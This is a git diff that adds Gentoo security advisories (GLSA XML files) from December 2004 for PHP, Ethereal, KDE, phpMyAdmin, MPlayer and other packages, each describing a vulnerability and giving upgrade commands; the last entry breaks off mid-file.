+    way it handles negative references (CAN-2004-1019).
+    </p>
+    <p>
+    Stefan Esser also discovered that the pack() and unpack() functions are
+    subject to integer overflows that can lead to a heap buffer overflow
+    and a heap information leak. Finally, he found that the way
+    multithreaded PHP handles safe_mode_exec_dir restrictions can be
+    bypassed, and that various path truncation issues also allow to bypass
+    path and safe_mode restrictions.
+    </p>
+    <p>
+    Ilia Alshanetsky found a stack overflow issue in the exif_read_data()
+    function (CAN-2004-1065). Finally, Daniel Fabian found that addslashes
+    and magic_quotes_gpc do not properly escape null characters and that
+    magic_quotes_gpc contains a bug that could lead to one level directory
+    traversal.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    These issues could be exploited by a remote attacker to retrieve web
+    server heap information, bypass safe_mode or path restrictions and
+    potentially execute arbitrary code with the rights of the web server
+    running a PHP application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/php-4.3.10&quot;</code>
+    <p>
+    All mod_php users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/mod_php-4.3.10&quot;</code>
+    <p>
+    All php-cgi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/php-cgi-4.3.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.php.net/release_4_3_10.php">PHP 4.3.10 Release Announcement</uri>
+    <uri link="http://www.hardened-php.net/advisories/012004.txt">Hardened-PHP Security Advisory</uri>
+    <uri link="http://www.securityfocus.com/archive/1/384663/2004-12-15/2004-12-21/0">SEC Consult Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1019">CAN-2004-1019</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1020">CAN-2004-1020</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1063">CVE-2004-1063</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1064">CVE-2004-1064</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1065">CVE-2004-1065</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Dec 2004 10:35:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Dec 2004 11:09:01 +0000">
+    Koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 18 Dec 2004 14:09:43 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-15.xml b/xml/htdocs/security/en/glsa/glsa-200412-15.xml
new file mode 100644
index 00000000..7a06c590
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-15.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-15">
+  <title>Ethereal: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities exist in Ethereal, which may allow an attacker to
+    run arbitrary code, crash the program or perform DoS by CPU and disk
+    utilization.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>December 19, 2004</announced>
+  <revised>December 19, 2004: 01</revised>
+  <bug>74443</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.8</unaffected>
+      <vulnerable range="lt">0.10.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are multiple vulnerabilities in versions of Ethereal earlier
+    than 0.10.8, including:
+    </p>
+    <ul>
+    <li>Bug in DICOM dissection
+    discovered by Bing could make Ethereal crash (CAN 2004-1139).</li>
+    <li>An invalid RTP timestamp could make Ethereal hang and create a
+    large temporary file (CAN 2004-1140).</li>
+    <li>The HTTP dissector could
+    access previously-freed memory (CAN 2004-1141).</li>
+    <li>Brian Caswell
+    discovered that an improperly formatted SMB could make Ethereal hang
+    (CAN 2004-1142).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to use these vulnerabilities to crash
+    Ethereal, perform DoS by CPU and disk space utilization or even execute
+    arbitrary code with the permissions of the user running Ethereal, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For a temporary workaround you can disable all affected protocol
+    dissectors by selecting Analyze->Enabled Protocols... and deselecting
+    them from the list. However, it is strongly recommended to upgrade to
+    the latest stable version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.10.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00016.html">Ethereal enpa-sa-00016</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1139">CAN 2004-1139</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1140">CAN 2004-1140</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1141">CAN 2004-1141</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1142">CAN 2004-1142</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 15 Dec 2004 13:06:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Dec 2004 14:01:55 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-16.xml b/xml/htdocs/security/en/glsa/glsa-200412-16.xml
new file mode 100644
index 00000000..ce5a697e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-16.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-16">
+  <title>kdelibs, kdebase: Multiple vulnerabilities</title>
+  <synopsis>
+    kdelibs and kdebase contain a flaw allowing password disclosure when
+    creating a link to a remote file. Furthermore Konqueror is vulnerable to
+    window injection.
+  </synopsis>
+  <product type="ebuild">KDE</product>
+  <announced>December 19, 2004</announced>
+  <revised>December 19, 2004: 01</revised>
+  <bug>72804</bug>
+  <bug>73869</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="rge">3.2.3-r4</unaffected>
+      <unaffected range="rge">3.3.1-r2</unaffected>
+      <unaffected range="ge">3.3.2-r1</unaffected>
+      <vulnerable range="lt">3.3.2-r1</vulnerable>
+    </package>
+    <package name="kde-base/kdebase" auto="yes" arch="*">
+      <unaffected range="rge">3.2.3-r3</unaffected>
+      <unaffected range="rge">3.3.1-r2</unaffected>
+      <vulnerable range="lt">3.3.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. The KDE core libraries (kdebase and
+    kdelibs) provide native support for many protocols. Konqueror is the
+    KDE web browser and filemanager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Daniel Fabian discovered that the KDE core libraries contain a
+    flaw allowing password disclosure by making a link to a remote file.
+    When creating this link, the resulting URL contains authentication
+    credentials used to access the remote file (CAN 2004-1171).
+    </p>
+    <p>
+    The Konqueror webbrowser allows websites to load webpages into a window
+    or tab currently used by another website (CAN-2004-1158).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious user could have access to the authentication
+    credentials of other users depending on the file permissions.
+    </p>
+    <p>
+    A malicious website could use the window injection vulnerability to
+    load content in a window apparently belonging to another website.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdelibs-3.2.3-r4&quot;</code>
+    <p>
+    All kdebase users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdebase-3.2.3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20041209-1.txt">KDE Security Advisory: plain text password exposure</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1171">CAN 2004-1171</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20041213-1.txt">KDE Security Advisory: Konqueror Window Injection Vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1158">CAN 2004-1158</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  9 Dec 2004 20:24:54 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Dec 2004 14:04:36 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-17.xml b/xml/htdocs/security/en/glsa/glsa-200412-17.xml
new file mode 100644
index 00000000..df579ad9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-17.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-17">
+  <title>kfax: Multiple overflows in the included TIFF library</title>
+  <synopsis>
+    kfax contains several buffer overflows potentially leading to execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">kfax</product>
+  <announced>December 19, 2004</announced>
+  <revised>January 12, 2005: 04</revised>
+  <bug>73795</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2</unaffected>
+      <vulnerable range="lt">3.3.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. kfax (part of kdegraphics) is the KDE fax
+    file viewer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Than Ngo discovered that kfax contains a private copy of the TIFF
+    library and is therefore subject to several known vulnerabilities (see
+    References).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a carefully-crafted TIFF
+    image file with kfax, which would potentially lead to execution of
+    arbitrary code with the rights of the user running kfax.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The KDE Team recommends to remove the kfax binary as well as the
+    kfaxpart.la KPart:
+    </p>
+    <code>
+    rm /usr/kde/3.*/lib/kde3/kfaxpart.la
+    rm /usr/kde/3.*/bin/kfax</code>
+    <p>
+    Note: This will render the kfax functionality useless, if kfax
+    functionality is needed you should upgrade to the KDE 3.3.2 which is
+    not stable at the time of this writing.
+    </p>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kfax users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdegraphics-3.3.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20041209-2.txt">KDE Security Advisory: kfax libtiff vulnerabilities</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200410-11.xml">GLSA 200410-11</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0803">CAN-2004-0803</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0804">CAN-2004-0804</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0886">CAN-2004-0886</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 10 Dec 2004 09:35:12 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Dec 2004 16:51:18 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-18.xml b/xml/htdocs/security/en/glsa/glsa-200412-18.xml
new file mode 100644
index 00000000..d40bc06c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-18.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-18">
+  <title>abcm2ps: Buffer overflow vulnerability</title>
+  <synopsis>
+    abcm2ps is vulnerable to a buffer overflow that could lead to remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">abcm2ps</product>
+  <announced>December 19, 2004</announced>
+  <revised>December 19, 2004: 02</revised>
+  <bug>74702</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/abcm2ps" auto="yes" arch="*">
+      <unaffected range="ge">3.7.21</unaffected>
+      <vulnerable range="lt">3.7.21</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    abcm2ps is a utility used to convert ABC music sheet files into
+    PostScript format.
+    </p>
+  </background>
+  <description>
+    <p>
+    Limin Wang has located a buffer overflow inside the put_words()
+    function in the abcm2ps code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could convince the victim to download a
+    specially-crafted ABC file. Upon execution, this file would trigger the
+    buffer overflow and lead to the execution of arbitrary code with the
+    permissions of the user running abcm2ps.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All abcm2ps users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/abcm2ps-3.7.21&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://moinejf.free.fr/abcm2ps-3.txt">abcm2ps ChangeLog</uri>
+    <uri link="http://secunia.com/advisories/13523/">Secunia Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Dec 2004 01:45:11 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Dec 2004 14:05:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 19 Dec 2004 16:00:19 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-19.xml b/xml/htdocs/security/en/glsa/glsa-200412-19.xml
new file mode 100644
index 00000000..3cc27a35
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-19.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-19">
+  <title>phpMyAdmin: Multiple vulnerabilities</title>
+  <synopsis>
+    phpMyAdmin contains multiple vulnerabilities which could lead to file
+    disclosure or command execution.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>December 19, 2004</announced>
+  <revised>December 19, 2004: 01</revised>
+  <bug>74303</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1_rc1</unaffected>
+      <vulnerable range="lt">2.6.1_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL databases from a web-browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nicolas Gregoire (exaprobe.com) has discovered two vulnerabilities
+    that exist only on a webserver where PHP safe_mode is off. These
+    vulnerabilities could lead to command execution or file disclosure.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    On a system where external MIME-based transformations are enabled,
+    an attacker can insert offensive values in MySQL, which would start a
+    shell when the data is browsed. On a system where the UploadDir is
+    enabled, read_dump.php could use the unsanitized sql_localfile variable
+    to disclose a file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You can temporarily enable PHP safe_mode or disable external
+    MIME-based transformation AND disable the UploadDir. But instead, we
+    strongly advise to update your version to 2.6.1_rc1.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.6.1_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1147">CAN-2004-1147</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1148">CAN-2004-1148</uri>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2004-4">PHPMyAdmin advisory: PMASA-2004-4</uri>
+    <uri link="http://www.exaprobe.com/labs/advisories/esa-2004-1213.html">Exaprobe.com advisory: esa-2004-1213</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 16 Dec 2004 13:35:32 +0000">
+    SeJo
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 18 Dec 2004 14:47:08 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-20.xml b/xml/htdocs/security/en/glsa/glsa-200412-20.xml
new file mode 100644
index 00000000..686a8812
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-20.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-20">
+  <title>NASM: Buffer overflow vulnerability</title>
+  <synopsis>
+    NASM is vulnerable to a buffer overflow that allows an attacker to execute
+    arbitrary code through the use of a malicious object file.
+  </synopsis>
+  <product type="ebuild">NASM</product>
+  <announced>December 20, 2004</announced>
+  <revised>December 20, 2004: 01</revised>
+  <bug>74477</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/nasm" auto="yes" arch="*">
+      <unaffected range="ge">0.98.38-r1</unaffected>
+      <vulnerable range="le">0.98.38</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NASM is a 80x86 assembler that has been created for portability
+    and modularity. NASM supports Pentium, P6, SSE MMX, and 3DNow
+    extensions. It also supports a wide range of objects formats (ELF,
+    a.out, COFF, ...), and has its own disassembler.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jonathan Rockway discovered that NASM-0.98.38 has an unprotected
+    vsprintf() to an array in preproc.c. This code vulnerability may lead
+    to a buffer overflow and potential execution of arbitrary code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malicious object file which, when
+    supplied in NASM, would result in the execution of arbitrary code with
+    the rights of the user running NASM.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NASM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/nasm-0.98.38-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/mailarchive/forum.php?thread_id=6166881&amp;forum_id=4978">Original Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Dec 2004 22:07:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Dec 2004 22:07:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 17 Dec 2004 11:34:13 +0000">
+    SeJo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-21.xml b/xml/htdocs/security/en/glsa/glsa-200412-21.xml
new file mode 100644
index 00000000..bfd5c69c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-21.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-21">
+  <title>MPlayer: Multiple overflows</title>
+  <synopsis>
+    Multiple overflow vulnerabilities have been found in MPlayer, potentially
+    resulting in remote executing of arbitrary code.
+  </synopsis>
+  <product type="ebuild">MPlayer</product>
+  <announced>December 20, 2004</announced>
+  <revised>December 20, 2004: 01</revised>
+  <bug>74473</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_pre5-r5</unaffected>
+      <vulnerable range="le">1.0_pre5-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player capable of handling multiple multimedia
+    file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDEFENSE, Ariel Berkman and the MPlayer development team found
+    multiple vulnerabilities in MPlayer. These include potential heap
+    overflows in Real RTSP and pnm streaming code, stack overflows in MMST
+    streaming code and multiple buffer overflows in BMP demuxer and mp3lib
+    code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malicious file or design a
+    malicious streaming server. Using MPlayer to view this file or connect
+    to this server could trigger an overflow and execute
+    attacker-controlled code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_pre5-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=168&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=167&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=166&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/mplayer.txt">Ariel Berkman Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Dec 2004 14:28:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Dec 2004 22:01:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Dec 2004 09:31:29 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-22.xml b/xml/htdocs/security/en/glsa/glsa-200412-22.xml
new file mode 100644
index 00000000..4ed0057f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-22.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-22">
+  <title>mpg123: Playlist buffer overflow</title>
+  <synopsis>
+    mpg123 is vulnerable to a buffer overflow that allows an attacker to
+    execute arbitrary code through the use of a malicious playlist.
+  </synopsis>
+  <product type="ebuild">mpg123</product>
+  <announced>December 21, 2004</announced>
+  <revised>December 21, 2004: 01</revised>
+  <bug>74692</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mpg123" auto="yes" arch="*">
+      <unaffected range="ge">0.59s-r8</unaffected>
+      <vulnerable range="lt">0.59s-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mpg123 is a MPEG Audio Player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Bartlomiej Sieka discovered that mpg123 contains an unsafe
+    strcat() to an array in playlist.c. This code vulnerability may lead to
+    a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malicious playlist which, when
+    used, would result in the execution of arbitrary code with the rights
+    of the user running mpg123.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mpg123 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/mpg123-0.59s-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/mpg123.txt">Original Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1284">CAN-2004-1284</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 20 Dec 2004 14:15:47 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Dec 2004 21:20:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Dec 2004 09:35:46 +0000">
+    SeJo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-23.xml b/xml/htdocs/security/en/glsa/glsa-200412-23.xml
new file mode 100644
index 00000000..b072ff87
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-23.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-23">
+  <title>Zwiki: XSS vulnerability</title>
+  <synopsis>
+    Zwiki is vulnerable to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">zwiki</product>
+  <announced>December 21, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>72315</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-zope/zwiki" auto="yes" arch="*">
+      <unaffected range="ge">0.36.2-r1</unaffected>
+      <vulnerable range="lt">0.36.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Zwiki is a Zope wiki-clone for easy-to-edit collaborative websites.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to improper input validation, Zwiki can be exploited to perform
+    cross-site scripting attacks.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By enticing a user to read a specially-crafted wiki entry, an attacker
+    can execute arbitrary script code running in the context of the
+    victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Zwiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-zope/zwiki-0.36.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://zwiki.org/925ZwikiXSSVulnerability">Zwiki Bug Report</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1075">CVE-2004-1075</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Dec 2004 16:09:23 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Dec 2004 16:33:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Dec 2004 21:14:05 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-24.xml b/xml/htdocs/security/en/glsa/glsa-200412-24.xml
new file mode 100644
index 00000000..23e0627f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-24.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-24">
+  <title>Xpdf, GPdf: New integer overflows</title>
+  <synopsis>
+    New integer overflows were discovered in Xpdf, potentially resulting in the
+    execution of arbitrary code. GPdf includes Xpdf code and therefore is
+    vulnerable to the same issues.
+  </synopsis>
+  <product type="ebuild">Xpdf</product>
+  <announced>December 28, 2004</announced>
+  <revised>December 28, 2004: 01</revised>
+  <bug>75191</bug>
+  <bug>75201</bug>
